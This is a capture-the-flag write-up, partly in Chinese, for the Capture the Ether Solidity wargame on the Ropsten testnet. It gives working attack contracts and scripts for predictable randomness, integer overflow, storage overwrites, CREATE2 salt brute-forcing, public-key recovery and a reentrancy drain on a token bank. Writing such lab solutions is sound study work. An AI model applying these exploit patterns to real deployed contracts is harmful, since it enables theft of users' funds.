Capture the Ether wp

Capture the Ether wp

Guess the secret number

1
2
3
4
5
from Crypto.Util.number import *
import sha3
for i in range(2**8):
if sha3.keccak_256(long_to_bytes(i)).digest().hex()=='db81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365':
print(i)

Guess the random number

image-20211118161455127

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *
from web3.auto.infura.ropsten import w3
import sha3
import binascii
def byte32(i):
return binascii.unhexlify('%064x'%i)
blcokhash=int(w3.eth.getBlock(11448140-1)['hash'].hex(),16)
blcoktimetamp=w3.eth.getBlock(11448140)['timestamp']

print(sha3.keccak_256(byte32(blcokhash)+byte32(blcoktimetamp)).digest().hex()[-2:])

Guess the new number

1
2
3
4
5
6
7
8
9
10
11
contract attacker {
function attacker() public payable {
uint8 result = uint8(keccak256(block.blockhash(block.number - 1), now));
GuessTheNewNumberChallenge target = GuessTheNewNumberChallenge(0x955745113aB0E98ACdfe1ffC6846C4d1CdfC4cFd);
target.guess.value(1 ether)(result);
}

function () public payable {

}
}

Predict the future

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract attack{
PredictTheFutureChallenge claim =PredictTheFutureChallenge(0x69cF0a12620Fc8530bD94ab80b08C6b4A58d322d);
function attack() payable public{
claim.lockInGuess.value(1 ether)(1);
}
function tryhack(){
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
if(answer==1) {
claim.settle();
}

}
function () public payable {

}

}

Predict the block hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract attack{
PredictTheBlockHashChallenge claim = PredictTheBlockHashChallenge(0x75A30ccC225cCe71F553d113612F04F42Ec11221);
uint settlementBlockNumber;
function attack() payable public{
settlementBlockNumber = block.number + 1;
claim.lockInGuess.value(1 ether)(0x0000000000000000000000000000000000000000000000000000000000000000);
}
function tryhack(){
require(settlementBlockNumber-block.number>=256);

claim.settle();


}
function () public payable {

}

}

Token sale

整数乘法上溢

1
2
3
print(hex(2**256//10**18 +1))
tt=2**256//10**18 +1
print(tt*10**18-2**256)

Token whale

_transfer函数存在溢出

player transfer -> A 600

A approve -> player 1000

player transferFrom -> A -> B 600

Balance[player]-600

Retirement fund

自毁强制转账,满足调用collectPenalty

Mapping

覆盖map数组的长度实现数组越界访问,最后通过计算相对位置覆盖isComplete

Donation

结构体的非显式存储导致(未初始化的storage指针)的变量覆盖

donation.etherAmount=uint256(address) 可以实现对owner的覆盖

再简单计算一下msg.value

Fifty years

算是Mapping和Donation的结合体

msg.value会覆盖queue的长度,timestamp会覆盖head

Upset(1,2^256-86400)(1 wei)

Upset(1,0)(1 wei)

需要注意的是,我们的msg.value会先覆盖contribution.amount,而后的push操作会用queue长度再覆盖contribution.amount一次,也就是实际记录的total会大于contract.balance,会导致我们在withdraw的时候失败,所以需要进行一定的变形,这就是两次1wei的原因所在

Fuzzy identity

1
2
3
4
5
6
7
8
contract BadCodeSmarx is IName {
function callAuthenticate(address _challenge) public {
FuzzyIdentityChallenge(_challenge).authenticate();
}
function name() external view returns (bytes32) {
return bytes32("smarx");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from web3 import Web3

s1 = '0xff'+address(EOA)

s3 = '4670da3f633e838c2746ca61c370ba3dbd257b86b28b78449f4185480e2aba51'

i = 0
while(1):
salt = hex(i)[2:].rjust(64, '0')
s = s1+salt+s3
hashed = Web3.sha3(hexstr=s)
hashed_str = ''.join(['%02x' % b for b in hashed])
if 'badc0de' in hashed_str[24:]:
print(salt,hashed_str)
break
i += 1
print(salt)
1
2
3
4
5
6
7
8
9
10
11
12
13
contract Deployer {
// contractBytecode是待部署合约的bytecode
bytes contractBytecode = hex"608060405234801561001057600080fd5b5061015d806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c806306fdde031461003b5780637872ab4914610059575b600080fd5b61004361009d565b6040518082815260200191505060405180910390f35b61009b6004803603602081101561006f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506100c5565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b8073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561010d57600080fd5b505af1158015610121573d6000803e3d6000fd5b505050505056fea265627a7a72315820fb2fc7a07f0eebf799c680bb1526641d2d905c19393adf340a04e48c9b527de964736f6c634300050c0032";

function deploy(bytes32 salt) public {
bytes memory bytecode = contractBytecode;
address addr;

assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
}
}

Public Key

公钥计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const { ethers } = require('ethers')
let provider = new ethers.providers.InfuraProvider('ropsten');
console.log(provider._isProvider)
let transactionHash="0xabc467bedd1d17462fcc7942d0af7874d6f8bdefee2b299c9168a216d3ff0edb"
provider.getTransaction(transactionHash).then((firstTx) => {
console.log(firstTx);
const txData = {
gasPrice: firstTx.gasPrice,
gasLimit: firstTx.gasLimit,
value: firstTx.value,
nonce: firstTx.nonce,
data: firstTx.data,
to: firstTx.to,
chainId: firstTx.chainId,
};
const signingData = ethers.utils.serializeTransaction(txData);
const msgHash = ethers.utils.keccak256(signingData);
const signature = { r: firstTx.r, s: firstTx.s, v: firstTx.v };
let rawPublicKey = ethers.utils.recoverPublicKey(msgHash, signature);
rawPublicKey = `0x${rawPublicKey.slice(4)}`;
console.log(`Recovered public key ${rawPublicKey}`);
});

Account Takeover

利用随机数冲突的ECDSA签名恢复以太坊私钥

参考

Assume ownership

权限控制问题

Token bank

重入攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function withdraw(uint256 amount) public {
require(balanceOf[msg.sender] >= amount);

require(token.transfer(msg.sender, amount));
// balance decreased after recipient is notified
// re-entrancy issue
balanceOf[msg.sender] -= amount;
}
function transfer(address to, uint256 value, bytes data) public returns (bool) {
require(balanceOf[msg.sender] >= value);

balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);

if (isContract(to)) {
ITokenReceiver(to).tokenFallback(msg.sender, value, data);
}
return true;
}

challenge.withdraw => token.transfer => msg.sender.tokenFallback() => …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    TokenBankChallenge public bank = TokenBankChallenge(0x5e3D261A631c41659b37168199d9B8020a1d976c);

function attack() public {
SimpleERC223Token token = SimpleERC223Token(bank.token());

uint256 balance = token.balanceOf(this);
require(balance == token.balanceOf(address(bank)));
require(balance + token.balanceOf(address(bank)) == token.totalSupply());

token.transfer(address(bank), balance);
require(token.balanceOf(this) == 0);
require(balance == bank.balanceOf(this));
require(token.balanceOf(address(bank)) == token.totalSupply());

bank.withdraw(balance);
require(bank.isComplete() == true);
}

function tokenFallback(address from, uint256, bytes) public {
SimpleERC223Token token = SimpleERC223Token(bank.token());
require(msg.sender == address(token));

if (from == address(bank)) {
if (token.balanceOf(address(bank)) > 0) {
uint256 balance = bank.balanceOf(this);
bank.withdraw(balance);
}
}
}
}

需要先用player账户withdraw出来,再转移到部署的攻击账户